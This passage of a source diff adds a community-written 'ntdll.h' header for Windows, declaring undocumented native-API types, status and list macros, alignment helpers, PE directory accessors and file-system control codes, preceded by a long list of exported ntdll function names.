RtlGetCriticalSectionRecursionCount + RtlTryEnterCriticalSection + RtlInitializeCriticalSection + RtlEnableEarlyCriticalSectionEventCreation + RtlInitializeCriticalSectionAndSpinCount + RtlSetCriticalSectionSpinCount + RtlDeleteCriticalSection + LdrDisableThreadCalloutsForDll + LdrLoadDll + LdrUnloadDll + LdrGetDllHandle + LdrGetDllHandleEx + LdrGetDllHandleByMapping + LdrGetDllHandleByName + LdrAddRefDll + LdrGetProcedureAddress + LdrGetProcedureAddressEx + LdrLockLoaderLock + LdrRelocateImage + LdrRelocateImageWithBias + LdrProcessRelocationBlock + LdrVerifyMappedImageMatchesChecksum + LdrQueryModuleServiceTags + LdrRegisterDllNotification + LdrUnregisterDllNotification + CsrGetProcessId + A_SHAFinal + A_SHAUpdate + A_SHAInit + RtlDosPathNameToNtPathName_U + RtlDosPathNameToNtPathName_U_WithStatus + RtlAddVectoredExceptionHandler + RtlAddVectoredContinueHandler + RtlAnalyzeProfile + RtlCallVectoredContinueHandlers + RtlEncodePointer + RtlDecodePointer + RtlEncodeSystemPointer + RtlDecodeSystemPointer + RtlDeleteResource + RtlDeleteSecurityObject + RtlDllShutdownInProgress + RtlGetCurrentProcessorNumber + RtlGetUnloadEventTrace + RtlInitializeProfile + RtlIsThreadWithinLoaderCallout + RtlSetLFHDebuggingInformation + RtlMultipleAllocateHeap + RtlMultipleFreeHeap + RtlNewSecurityObjectEx + RtlNewSecurityObjectWithMultipleInheritance + RtlQuerySecurityObject + RtlRegisterWait + RtlRemoveVectoredContinueHandler + RtlRemoveVectoredExceptionHandler + RtlSetIoCompletionCallback + RtlSetSecurityObject + RtlSetSecurityObjectEx + RtlSetUnhandledExceptionFilter + RtlStartProfile + RtlStopProfile + RtlWow64EnableFsRedirection + RtlWow64EnableFsRedirectionEx + RtlRegisterWait + RtlDeregisterWait + RtlDeregisterWaitEx + KiUserCallbackDispatcher + CsrClientConnectToServer + CsrClientCallServer + CsrAllocateCaptureBuffer + CsrFreeCaptureBuffer + CsrAllocateMessagePointer + CsrCaptureMessageBuffer + CsrCaptureMessageString + CsrCaptureTimeout + CsrProbeForWrite + CsrProbeForRead + CsrNewThread + CsrIdentifyAlertableThread + CsrSetPriorityClass + RtlCreateProcessReflection + RtlCloneUserProcess + LdrShutdownProcess + RtlQueryProcessModuleInformation + RtlQueryProcessBackTraceInformation + RtlQueryProcessHeapInformation + RtlQueryProcessLockInformation + RtlCreateQueryDebugBuffer + RtlDestroyQueryDebugBuffer + RtlQueryProcessDebugInformation + RtlCreateTimer + RtlUpdateTimer + RtlDeleteTimer + RtlDeleteTimerQueue + RtlDeleteTimerQueueEx + RtlDoesFileExists_U + RtlGetCurrentDirectory_U + RtlSetCurrentDirectory_U + RtlDosSearchPath_U + RtlInitString + RtlGetFullPathName_U + RtlCompareString + LdrRegisterDllNotification + LdrUnregisterDllNotification + EtwRegisterSecurityProvider + EtwWriteUMSecurityEvent + EtwEventWriteEndScenario + EtwEventWriteFull + EtwEventWriteStartScenario + NtCreateChannel + NtOpenChannel + NtListenChannel + NtSendWaitReplyChannel + NtReplyWaitSendChannel + AlpcUnregisterCompletionListWorkerThread + RtlUpdateClonedCriticalSection + RtlGetFullPathName_UstrEx + LdrInitShimEngineDynamic + NtCreateKey + NtSetValueKey + NtDeleteFile + RtlGetVersion + ZwWow64QueryInformationProcess64 + ZwWow64QueryVirtualMemory64 + ZwWow64ReadVirtualMemory64 + ZwWow64WriteVirtualMemory64 + ZwWow64GetCurrentProcessorNumberEx + ZwWow64CsrAllocateCaptureBuffer + ZwWow64CsrAllocateMessagePointer + ZwWow64CsrCaptureMessageBuffer + ZwWow64CsrCaptureMessageString + ZwWow64CsrClientConnectToServer + ZwWow64CsrFreeCaptureBuffer + ZwWow64CsrIdentifyAlertableThread + ZwWow64DebuggerCall + RtlCleanUpTEBLangLists + KiUserApcDispatcher + KiUserExceptionDispatcher + NtCreateDebugObject + NtDebugActiveProcess + NtDebugContinue + NtRemoveProcessDebug + NtSetInformationDebugObject + NtWaitForDebugEvent + DbgUiConnectToDbg + DbgUiGetThreadDebugObject + DbgUiSetThreadDebugObject + DbgUiWaitStateChange + DbgUiContinue + DbgUiStopDebugging + DbgUiDebugActiveProcess + DbgUiRemoteBreakin + DbgUiIssueRemoteBreakin + RtlExitUserProcess + RtlQueueWorkItem + RtlCreateUserStack + NtdllDefWindowProc_W + NtdllDefWindowProc_A + LdrQueryProcessModuleInformation + vsprintf + _vsnprintf + sprintf + _snprintf + _snwprintf + swprintf + sscanf + _vscwprintf + _vsnwprintf diff --git a/dep/ntdll/ntdll.h b/dep/ntdll/ntdll.h new file mode 100644 index 0000000..49a1cc4 --- /dev/null +++ b/dep/ntdll/ntdll.h @@ -0,0 +1,22443 @@ +/* + ntdll.h + User Mode, 32bit & 64bit version + Visual Studio 6.0 - Visual Studio 2010 compatible + Intel C++ Compiler (ICL) 11.x - 12.x prefered + + (c) 2009, 2010, 2011 - Fyyre + (c) 2011 - 2012 EP_X0FF + (c) 2011 - rndbit + + version 1.26 ( increment this if changes has global effect ) + please mark your changes date begin / date end comments + + last change 04/01/2012 + + note: Please use _M_X86/_M_X64 for if(n)def/endif conditionals, instead of WIN32/WIN64. +*/ + +#if !defined(_NTDLL_) +#define _NTDLL_ + +#pragma warning( disable:4001 ) // level 4 error - nonstandard extension 'single line comment' was used +#pragma warning( disable:4201 ) // level 4 error - nonstandard extension used : nameless struct/union - ANSI C violation +#pragma warning( disable:4214 ) // level 4 error - nonstandard extension used : bit field types other than int - ANSI C violation + +#if defined(__ICL) +#pragma warning ( disable : 344 ) +#endif + +#pragma pack( push, 8 ) + +#if defined(__cplusplus) +extern "C" { +#endif + +#include +#include + +#if !defined(NTSTATUS) +typedef LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; +#endif + +#if !defined(SECURITY_STATUS) +typedef LONG SECURITY_STATUS; +#endif + +#define EXPORT_FN __declspec(dllexport) +#define IMPORT_FN __declspec(dllimport) + +#define PAGE_SIZE 0x1000 + +#define EXTERNAL extern "C" + +#ifndef UNREFERENCED_PARAMETER +#define UNREFERENCED_PARAMETER(P) (P) +#endif + +#include "ntstatus.h" + +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +#define NT_INFORMATION(Status) ((ULONG)(Status) >> 30 == 1) +#define NT_WARNING(Status) ((ULONG)(Status) >> 30 == 2) +#define NT_ERROR(Status) ((ULONG)(Status) >> 30 == 3) + +#define ABSOLUTE_TIME(wait) (wait) +#define RELATIVE_TIME(wait) (-(wait)) +#define NANOSECONDS(nanos) \ + (((signed __int64)(nanos)) / 100L) +#define MICROSECONDS(micros) \ + (((signed __int64)(micros)) * NANOSECONDS(1000L)) +#define MILLISECONDS(milli) \ + (((signed __int64)(milli)) * MICROSECONDS(1000L)) +#define SECONDS(seconds) \ + (((signed __int64)(seconds)) * MILLISECONDS(1000L)) + +#define ARGUMENT_PRESENT(ArgumentPointer) (\ + (CHAR *)((ULONG_PTR)(ArgumentPointer)) != (CHAR *)(NULL) ) + +#define RESTORE_LIST(ListEntry) \ + ListEntry.Flink = ListEntry.Flink; \ + ListEntry.Blink = ListEntry.Blink + +#define UNLINK(x) (x).Blink->Flink = (x).Flink; \ + (x).Flink->Blink = (x).Blink; + +#define ALIGN_TO_POWER2( x, n ) (((ULONG)(x) + ((n)-1)) & ~((ULONG)(n)-1)) + +#define POI(addr) *(ULONG *)(addr) + +#define IS_PATH_SEPARATOR(ch) ((ch == '\\') || (ch == '/')) +#define IS_DOT(s) ( s[0] == '.' && ( IS_PATH_SEPARATOR(s[1]) || s[1] == '\0') ) +#define IS_DOT_DOT(s) ( s[0] == '.' && s[1] == '.' && ( IS_PATH_SEPARATOR(s[2]) || s[2] == '\0') ) + +#define IS_PATH_SEPARATOR_U(ch) ((ch == (WCHAR)'\\') || (ch == (WCHAR)'/')) +#define IS_DOT_U(s) ( s[0] == (WCHAR)'.' && ( IS_PATH_SEPARATOR_U(s[1]) || s[1] == UNICODE_NULL) ) +#define IS_DOT_DOT_U(s) ( s[0] == (WCHAR)'.' && s[1] == (WCHAR)'.' && ( IS_PATH_SEPARATOR_U(s[2]) || s[2] == UNICODE_NULL) ) + +#define jmp_length(y,x) ((x-y)-5) +#define stc_jc(y,x) ((x-y)-7) + +#define MODIFYBYTE( _base, _offset, _byte ) { ((unsigned char *)_base)[_offset] = (unsigned char)_byte; } +#define MODIFYWORD( _base, _offset, _word ) { ((unsigned short *)_base)[_offset] = (unsigned short)_word; } +#define MODIFYDWORD( _base, _offset, _dword ) { ((unsigned long *)_base)[_offset] = (unsigned long)_dword; } +#define MODIFYQWORD( _base, _offset, _qword ) { ((unsigned long long *)_base)[_offset] = (unsigned long long)_qword; } + +#define PTR_ADD_OFFSET(Pointer, Offset) ((PVOID)((ULONG_PTR)(Pointer) + (ULONG_PTR)(Offset))) + +#define WRITE_JMP( from, to ) { ((PCHAR)from)[0] = (CHAR)0xE9; *((ULONG_PTR *)&(((PCHAR)(from))[1])) = (PCHAR)(to) - (PCHAR)(from) - 5; } +#define GET_JMP( from ) (((PCHAR)from)[0]==(CHAR)0xE9)? (*((ULONG_PTR *)&(((PCHAR)(from))[1])) + 5 + (ULONG_PTR)(from)) : 0 + +#define ASSERT( exp ) ((void) 0) + +// +// The following macros store and retrieve USHORTS and ULONGS from potentially unaligned addresses, avoiding alignment faults. +// + +// 31.05.2011 - added the following macros +#define SHORT_SIZE (sizeof(USHORT)) +#define SHORT_MASK (SHORT_SIZE - 1) +#define LONG_SIZE (sizeof(LONG)) +#define LONG_MASK (LONG_SIZE - 1) +#define LOWBYTE_MASK 0x00FF + +#define FIRSTBYTE(VALUE) (VALUE & LOWBYTE_MASK) +#define SECONDBYTE(VALUE) ((VALUE >> 8) & LOWBYTE_MASK) +#define THIRDBYTE(VALUE) ((VALUE >> 16) & LOWBYTE_MASK) +#define FOURTHBYTE(VALUE) ((VALUE >> 24) & LOWBYTE_MASK) + +// +// if MIPS Big Endian, order of bytes is reversed. +// + +#define SHORT_LEAST_SIGNIFICANT_BIT 0 +#define SHORT_MOST_SIGNIFICANT_BIT 1 + +#define LONG_LEAST_SIGNIFICANT_BIT 0 +#define LONG_3RD_MOST_SIGNIFICANT_BIT 1 +#define LONG_2ND_MOST_SIGNIFICANT_BIT 2 +#define LONG_MOST_SIGNIFICANT_BIT 3 + +//++ +// +// VOID +// RtlStoreUshort ( +// PUSHORT ADDRESS +// USHORT VALUE +// ) +// +// Routine Description: +// +// This macro stores a USHORT value in at a particular address, avoiding +// alignment faults. +// +// Arguments: +// +// ADDRESS - where to store USHORT value +// VALUE - USHORT to store +// +// Return Value: +// +// none. +// +//-- + +#define RtlStoreUshort(ADDRESS,VALUE) \ + if ((ULONG_PTR)ADDRESS & SHORT_MASK) { \ + ((PUCHAR) ADDRESS)[SHORT_LEAST_SIGNIFICANT_BIT] = (UCHAR)(FIRSTBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[SHORT_MOST_SIGNIFICANT_BIT ] = (UCHAR)(SECONDBYTE(VALUE)); \ + } \ + else { \ + *((PUSHORT) ADDRESS) = (USHORT) VALUE; \ + } + + +//++ +// +// VOID +// RtlStoreUlong ( +// PULONG ADDRESS +// ULONG VALUE +// ) +// +// Routine Description: +// +// This macro stores a ULONG value in at a particular address, avoiding +// alignment faults. +// +// Arguments: +// +// ADDRESS - where to store ULONG value +// VALUE - ULONG to store +// +// Return Value: +// +// none. +// +// Note: +// Depending on the machine, we might want to call storeushort in the +// unaligned case. +// +//-- + +#define RtlStoreUlong(ADDRESS,VALUE) \ + if ((ULONG_PTR)ADDRESS & LONG_MASK) { \ + ((PUCHAR) ADDRESS)[LONG_LEAST_SIGNIFICANT_BIT ] = (UCHAR)(FIRSTBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[LONG_3RD_MOST_SIGNIFICANT_BIT ] = (UCHAR)(SECONDBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[LONG_2ND_MOST_SIGNIFICANT_BIT ] = (UCHAR)(THIRDBYTE(VALUE)); \ + ((PUCHAR) ADDRESS)[LONG_MOST_SIGNIFICANT_BIT ] = (UCHAR)(FOURTHBYTE(VALUE)); \ + } \ + else { \ + *((PULONG) ADDRESS) = (ULONG) VALUE; \ + } + +//++ +// +// VOID +// RtlRetrieveUshort ( +// PUSHORT DESTINATION_ADDRESS +// PUSHORT SOURCE_ADDRESS +// ) +// +// Routine Description: +// +// This macro retrieves a USHORT value from the SOURCE address, avoiding +// alignment faults. The DESTINATION address is assumed to be aligned. +// +// Arguments: +// +// DESTINATION_ADDRESS - where to store USHORT value +// SOURCE_ADDRESS - where to retrieve USHORT value from +// +// Return Value: +// +// none. +// +//-- + +#define RtlRetrieveUshort(DEST_ADDRESS,SRC_ADDRESS) \ + if ((ULONG_PTR)SRC_ADDRESS & SHORT_MASK) { \ + ((PUCHAR) DEST_ADDRESS)[0] = ((PUCHAR) SRC_ADDRESS)[0]; \ + ((PUCHAR) DEST_ADDRESS)[1] = ((PUCHAR) SRC_ADDRESS)[1]; \ + } \ + else { \ + *((PUSHORT) DEST_ADDRESS) = *((PUSHORT) SRC_ADDRESS); \ + } \ + +//++ +// +// VOID +// RtlRetrieveUlong ( +// PULONG DESTINATION_ADDRESS +// PULONG SOURCE_ADDRESS +// ) +// +// Routine Description: +// +// This macro retrieves a ULONG value from the SOURCE address, avoiding +// alignment faults. The DESTINATION address is assumed to be aligned. +// +// Arguments: +// +// DESTINATION_ADDRESS - where to store ULONG value +// SOURCE_ADDRESS - where to retrieve ULONG value from +// +// Return Value: +// +// none. +// +// Note: +// Depending on the machine, we might want to call retrieveushort in the +// unaligned case. +// +//-- + +#define RtlRetrieveUlong(DEST_ADDRESS,SRC_ADDRESS) \ + if ((ULONG_PTR)SRC_ADDRESS & LONG_MASK) { \ + ((PUCHAR) DEST_ADDRESS)[0] = ((PUCHAR) SRC_ADDRESS)[0]; \ + ((PUCHAR) DEST_ADDRESS)[1] = ((PUCHAR) SRC_ADDRESS)[1]; \ + ((PUCHAR) DEST_ADDRESS)[2] = ((PUCHAR) SRC_ADDRESS)[2]; \ + ((PUCHAR) DEST_ADDRESS)[3] = ((PUCHAR) SRC_ADDRESS)[3]; \ + } \ + else { \ + *((PULONG) DEST_ADDRESS) = *((PULONG) SRC_ADDRESS); \ + } + +//++ +// +// PCHAR +// RtlOffsetToPointer ( +// PVOID Base, +// ULONG Offset +// ) +// +// Routine Description: +// +// This macro generates a pointer which points to the byte that is 'Offset' +// bytes beyond 'Base'. This is useful for referencing fields within +// self-relative data structures. +// +// Arguments: +// +// Base - The address of the base of the structure. +// +// Offset - An unsigned integer offset of the byte whose address is to +// be generated. +// +// Return Value: +// +// A PCHAR pointer to the byte that is 'Offset' bytes beyond 'Base'. +// +// +//-- + +#define RtlOffsetToPointer(B,O) ((PCHAR)( ((PCHAR)(B)) + ((ULONG_PTR)(O)) )) + + +//++ +// +// ULONG +// RtlPointerToOffset ( +// PVOID Base, +// PVOID Pointer +// ) +// +// Routine Description: +// +// This macro calculates the offset from Base to Pointer. This is useful +// for producing self-relative offsets for structures. +// +// Arguments: +// +// Base - The address of the base of the structure. +// +// Pointer - A pointer to a field, presumably within the structure +// pointed to by Base. This value must be larger than that specified +// for Base. +// +// Return Value: +// +// A ULONG offset from Base to Pointer. +// +// +//-- + +#define RtlPointerToOffset(B,P) ((ULONG)( ((PCHAR)(P)) - ((PCHAR)(B)) )) +// 31.05.2011 - end + +// +// Data Types -- DOT NOT modify -- modification will break 32bit & 64bit compatibly. +// + +typedef char CCHAR; +typedef short CSHORT; +typedef CCHAR *PCCHAR; +typedef CSHORT *PCSHORT; +typedef ULONG CLONG; +typedef ULONG *PCLONG; + +typedef ULONG LOGICAL; +typedef ULONG *PLOGICAL; + +typedef LONG KPRIORITY; + +typedef struct _STRING +{ + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} STRING; +typedef STRING *PSTRING; + +typedef STRING ANSI_STRING; +typedef PSTRING PANSI_STRING; + +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; + +typedef struct _CSTRING +{ + USHORT Length; + USHORT MaximumLength; + CONST char *Buffer; +} CSTRING; +typedef CSTRING *PCSTRING; +#define ANSI_NULL ((CHAR)0) + +typedef STRING CANSI_STRING; +typedef PSTRING PCANSI_STRING; + +typedef struct _UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, *PUNICODE_STRING, **PPUNICODE_STRING; +typedef const UNICODE_STRING *PCUNICODE_STRING; + +typedef struct _STRING32 +{ + USHORT Length; + USHORT MaximumLength; + ULONG Buffer; +} STRING32; +typedef STRING32 *PSTRING32; + +typedef STRING32 UNICODE_STRING32; +typedef UNICODE_STRING32 *PUNICODE_STRING32; +#define UNICODE_NULL ((WCHAR)0) + +typedef STRING32 ANSI_STRING32; +typedef ANSI_STRING32 *PANSI_STRING32; + +typedef struct _STRING64 +{ + USHORT Length; + USHORT MaximumLength; + ULONG_PTR Buffer; +} STRING64; + +typedef STRING64 *PSTRING64; + +typedef STRING64 UNICODE_STRING64; +typedef UNICODE_STRING64 *PUNICODE_STRING64; + +typedef STRING64 ANSI_STRING64; +typedef ANSI_STRING64 *PANSI_STRING64; + +typedef USHORT RTL_ATOM; +typedef RTL_ATOM *PRTL_ATOM; + +typedef UCHAR KIRQL; +typedef KIRQL *PKIRQL; + +typedef CONST char *PCSZ; + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; + +#if !defined( _WINNT_ ) + +typedef struct _LIST_ENTRY { + struct _LIST_ENTRY *Flink; + struct _LIST_ENTRY *Blink; +} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY; + +#define FIELD_OFFSET(type, field) ((LONG)&(((type *)0)->field)) + +#define CONTAINING_RECORD(address, type, field) ((type FAR *)( \ + (PCHAR)(address) - \ + (PCHAR)(&((type *)0)->field))) +#endif + +typedef struct _TRIPLE_LIST_ENTRY +{ + struct _TRIPLE_LIST_ENTRY* Flink[ 3 ]; + struct _TRIPLE_LIST_ENTRY* Blink; +} TRIPLE_LIST_ENTRY, *PTRIPLE_LIST_ENTRY; + +#define IN_REGION(x, Base, Size) (((ULONG)x >= (ULONG_PTR)Base) && ((ULONG)x <= (ULONG_PTR)Base + (ULONG)Size)) + +#ifndef RVATOVA +#define RVATOVA(base, offset) ((PVOID)((ULONG)base + (ULONG)(offset))) +#endif + +#ifndef NOP_FUNCTION +#define NOP_FUNCTION (void)0 +#endif +#define PAGED_CODE() NOP_FUNCTION; + +#if defined(USE_LPC6432) +#define LPC_CLIENT_ID CLIENT_ID64 +#define LPC_SIZE_T ULONGLONG +#define LPC_PVOID ULONGLONG +#define LPC_HANDLE ULONGLONG +#else +#define LPC_CLIENT_ID CLIENT_ID +#define LPC_SIZE_T SIZE_T +#define LPC_PVOID PVOID +#define LPC_HANDLE HANDLE +#endif + +#define OBJ_INHERIT 0x00000002L +#define OBJ_HANDLE_TAGBITS 0x00000003L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + +#define RTL_QUERY_PROCESS_MODULES 0x00000001 +#define RTL_QUERY_PROCESS_BACKTRACES 0x00000002 +#define RTL_QUERY_PROCESS_HEAP_SUMMARY 0x00000004 +#define RTL_QUERY_PROCESS_HEAP_TAGS 0x00000008 +#define RTL_QUERY_PROCESS_HEAP_ENTRIES 0x00000010 +#define RTL_QUERY_PROCESS_LOCKS 0x00000020 +#define RTL_QUERY_PROCESS_MODULES32 0x00000040 +#define RTL_QUERY_PROCESS_NONINVASIVE 0x80000000 + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // SECURITY_DESCRIPTOR + PVOID SecurityQualityOfService; // SECURITY_QUALITY_OF_SERVICE +} OBJECT_ATTRIBUTES; +typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; +typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES; + +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ +} + +//added 20.12.11 +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; + +#if defined(_WINNT_) && (_MSC_VER < 1300) +typedef struct _PROCESSOR_NUMBER { + WORD Group; + BYTE Number; + BYTE Reserved; +} PROCESSOR_NUMBER, *PPROCESSOR_NUMBER; +#endif + +#if _WIN32_WINNT >= 0x0501 + +#define ANSI_NULL ((CHAR)0) +#define UNICODE_NULL ((WCHAR)0) + +#ifndef UNICODE_STRING_MAX_BYTES +#define UNICODE_STRING_MAX_BYTES ((USHORT) 65534) +#endif + +#define UNICODE_STRING_MAX_CHARS (32767) + +#define DECLARE_CONST_UNICODE_STRING(_variablename, _string) \ + const WCHAR _variablename ## _buffer[] = _string; \ + const UNICODE_STRING _variablename = { sizeof(_string) - sizeof(WCHAR), sizeof(_string), (PWSTR) _variablename ## _buffer }; + +#endif // _WIN32_WINNT >= 0x0501 + +#define IsListEmpty(ListHead) \ + ((ListHead)->Flink == (ListHead)) + +#define InitializeListHead(ListHead) (\ + (ListHead)->Flink = (ListHead)->Blink = (ListHead)) + +#define IsListEmpty(ListHead) \ + ((ListHead)->Flink == (ListHead)) + +#define RemoveHeadList(ListHead) \ + (ListHead)->Flink;\ + {RemoveEntryList((ListHead)->Flink)} + +#define RemoveTailList(ListHead) \ + (ListHead)->Blink;\ + {RemoveEntryList((ListHead)->Blink)} + +// VOID +// RemoveEntryList( +// IN PLIST_ENTRY Entry +// ); +#define RemoveEntryList(Entry) {\ + PLIST_ENTRY _EX_Blink;\ + PLIST_ENTRY _EX_Flink;\ + _EX_Flink = (Entry)->Flink;\ + _EX_Blink = (Entry)->Blink;\ + _EX_Blink->Flink = _EX_Flink;\ + _EX_Flink->Blink = _EX_Blink;\ + } + + +// VOID +// InsertTailList( +// IN PLIST_ENTRY ListHead, +// IN PLIST_ENTRY Entry +// ); +#define InsertTailList(ListHead,Entry) {\ + PLIST_ENTRY _EX_Blink;\ + PLIST_ENTRY _EX_ListHead;\ + _EX_ListHead = (ListHead);\ + _EX_Blink = _EX_ListHead->Blink;\ + (Entry)->Flink = _EX_ListHead;\ + (Entry)->Blink = _EX_Blink;\ + _EX_Blink->Flink = (Entry);\ + _EX_ListHead->Blink = (Entry);\ + } + +// VOID +// InsertHeadList( +// IN PLIST_ENTRY ListHead, +// IN PLIST_ENTRY Entry +// ); +#define InsertHeadList(ListHead,Entry) {\ + PLIST_ENTRY _EX_Flink;\ + PLIST_ENTRY _EX_ListHead;\ + _EX_ListHead = (ListHead);\ + _EX_Flink = _EX_ListHead->Flink;\ + (Entry)->Flink = _EX_Flink;\ + (Entry)->Blink = _EX_ListHead;\ + _EX_Flink->Blink = (Entry);\ + _EX_ListHead->Flink = (Entry);\ + } + +// BOOL +// COUNT_IS_ALIGNED( +// IN DWORD Count, +// IN DWORD Pow2 // undefined if this isn't a power of 2. +// ); +// +#define COUNT_IS_ALIGNED(Count,Pow2) \ + ( ( ( (Count) & (((Pow2)-1)) ) == 0) ? TRUE : FALSE ) + +// BOOL +// POINTER_IS_ALIGNED( +// IN LPVOID Ptr, +// IN DWORD Pow2 // undefined if this isn't a power of 2. +// ); +// +#define POINTER_IS_ALIGNED(Ptr,Pow2) \ + ( ( ( ((DWORD)(Ptr)) & (((Pow2)-1)) ) == 0) ? TRUE : FALSE ) + + +#define ROUND_DOWN_COUNT(Count,Pow2) \ + ( (Count) & (~((Pow2)-1)) ) + +#define ROUND_DOWN_POINTER(Ptr,Pow2) \ + ( (LPVOID) ROUND_DOWN_COUNT( ((DWORD)(Ptr)), (Pow2) ) ) + + +// If Count is not already aligned, then +// round Count up to an even multiple of "Pow2". "Pow2" must be a power of 2. +// +// DWORD +// ROUND_UP_COUNT( +// IN DWORD Count, +// IN DWORD Pow2 +// ); +#define ROUND_UP_COUNT(Count,Pow2) \ + ( ((Count)+(Pow2)-1) & (~((Pow2)-1)) ) + +// LPVOID +// ROUND_UP_POINTER( +// IN LPVOID Ptr, +// IN DWORD Pow2 +// ); + +// If Ptr is not already aligned, then round it up until it is. +#define ROUND_UP_POINTER(Ptr,Pow2) \ + ( (LPVOID) ( (((DWORD)(Ptr))+(Pow2)-1) & (~((Pow2)-1)) ) ) + +#define ALIGN_BYTE 1 +#define ALIGN_CHAR 1 +#define ALIGN_DESC_CHAR sizeof(DESC_CHAR) +#define ALIGN_DWORD 4 +#define ALIGN_LONG 4 +#define ALIGN_LPBYTE 4 +#define ALIGN_LPDWORD 4 +#define ALIGN_LPSTR 4 +#define ALIGN_LPTSTR 4 +#define ALIGN_LPVOID 4 +#define ALIGN_LPWORD 4 +#define ALIGN_TCHAR sizeof(TCHAR) +#define ALIGN_WCHAR sizeof(WCHAR) +#define ALIGN_WORD 2 +#define ALIGN_QUAD 8 + +#define ALIGN_WORST 8 + +//03.06.2011 - added +#define QUAD_ALIGN(VALUE) ( ((ULONG)(VALUE) + 7) & ~7 ) +//03.06.2011 - end + +// Usage: myPtr = ROUND_UP_POINTER(unalignedPtr, ALIGN_DWORD); + +// 31.05.2011 - added +#define EXPORT_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) +#define IMPORT_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress) +#define RELOC_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) +#define RESOURCE_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress) + +#define EXPORT_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) +#define IMPORT_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size) +#define RELOC_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) +#define RESOURCE_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size) +#define DEBUGDIR_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress) +#define DEBUGDIR_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size) +// 31.05.2011 - end + +#define IS_VALID_HANDLE(hHandle) ((HANDLE)hHandle != (HANDLE)0 && (HANDLE)hHandle != (HANDLE)0xFFFFFFFF) +#define SIZEOF_ARRAY(arr) ( sizeof(arr) / sizeof(arr[0]) ) +// 09.06.2011 - begin + +//21.12.2011 added +#if !defined(_FILESYSTEMFSCTL_) +#define _FILESYSTEMFSCTL_ + +#define FSCTL_REQUEST_OPLOCK_LEVEL_1 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_REQUEST_OPLOCK_LEVEL_2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 1, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_REQUEST_BATCH_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 2, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_OPLOCK_BREAK_ACKNOWLEDGE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 3, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_OPBATCH_ACK_CLOSE_PENDING CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 4, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_OPLOCK_BREAK_NOTIFY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 5, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_LOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 6, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_UNLOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 7, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_DISMOUNT_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 8, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decommissioned fsctl value 9 +#define FSCTL_IS_VOLUME_MOUNTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 10, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_IS_PATHNAME_VALID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 11, METHOD_BUFFERED, FILE_ANY_ACCESS) // PATHNAME_BUFFER, +#define FSCTL_MARK_VOLUME_DIRTY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 12, 